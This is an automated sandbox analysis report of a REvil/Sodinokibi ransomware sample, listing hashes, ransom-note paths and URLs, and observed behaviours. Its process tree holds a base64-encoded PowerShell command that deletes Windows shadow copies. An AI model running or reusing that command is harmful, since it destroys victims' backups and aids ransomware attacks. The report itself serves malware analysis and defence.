Analysis
-
max time kernel
142s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
06-08-2023 17:44
Behavioral task
behavioral1
Sample
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe
Resource
win10v2004-20230703-en
General
-
Target
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe
-
Size
164KB
-
MD5
6b391f91c63765876e2571e87fe46575
-
SHA1
d508632ca452af6325c06434b29883cfa55d7948
-
SHA256
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c
-
SHA512
2e1c522393b137d7847c405cdaa735a4255fde534c8006460ef1a984eacc135fd8668fbd756d06b9011299911c2fd57c1a9112d01c046ebe8c98058b1abfae34
-
SSDEEP
3072:pEa2d8CfSXceqmPDu7lvspW0kAo0BQhyI0hQMnnsJ:5CqlPDuBkJpoQQgdnns
Malware Config
Extracted
C:\Recovery\v3spnb24f-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A77093FC9CB5ED99
http://decryptor.top/A77093FC9CB5ED99
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exedescription ioc process File opened (read-only) \??\U: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\V: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\Z: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\F: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\A: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\S: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\I: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\L: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\P: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\R: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\Y: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\D: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\B: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\H: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\J: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\M: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\N: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\Q: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\W: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\X: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\E: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\G: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\T: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\K: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened (read-only) \??\O: d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\u3719rxv.bmp" d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe -
Drops file in Program Files directory 17 IoCs
Processes:
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exedescription ioc process File opened for modification \??\c:\program files\DebugExport.xml d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\FormatInvoke.MTS d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\ResolveJoin.mid d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\TestLimit.docm d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File created \??\c:\program files (x86)\v3spnb24f-readme.txt d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\MeasureUpdate.avi d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\SplitConvertFrom.kix d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\SuspendUnblock.css d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\ConfirmRequest.mpg d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\PingCopy.wps d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\ResolveDeny.jtx d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\ResumeSync.aifc d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\UndoUnpublish.xlt d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\UnlockAdd.vssx d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File created \??\c:\program files\v3spnb24f-readme.txt d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\OptimizeImport.wm d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe File opened for modification \??\c:\program files\ProtectGrant.vsx d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exepowershell.exepid process 3372 d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe 3372 d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe 3244 powershell.exe 3244 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3244 powershell.exe Token: SeBackupPrivilege 1152 vssvc.exe Token: SeRestorePrivilege 1152 vssvc.exe Token: SeAuditPrivilege 1152 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exedescription pid process target process PID 3372 wrote to memory of 3244 3372 d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe powershell.exe PID 3372 wrote to memory of 3244 3372 d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe"C:\Users\Admin\AppData\Local\Temp\d09338f3248b7c43b4c58274d453732fca910a0cee2ca50a2b72fe0364fb615c.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3244
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3264
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD53a68660ba882b6bd59b31d4cd98cefe9
SHA1a3824041c321d67e6b367711313fe0f5d850bd01
SHA2562d6bd96a70f988e92c1d2cf262d53037781bd797c11967874e1baaf91e681ed5
SHA51247da0f10e8f2db92145c96e40f803999059d1d13cd57cadaf23f98712c6ba47e3680c9a83e2177020e2f7f82906aa89abf03f29a4d27a8467942922dd77efb3d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82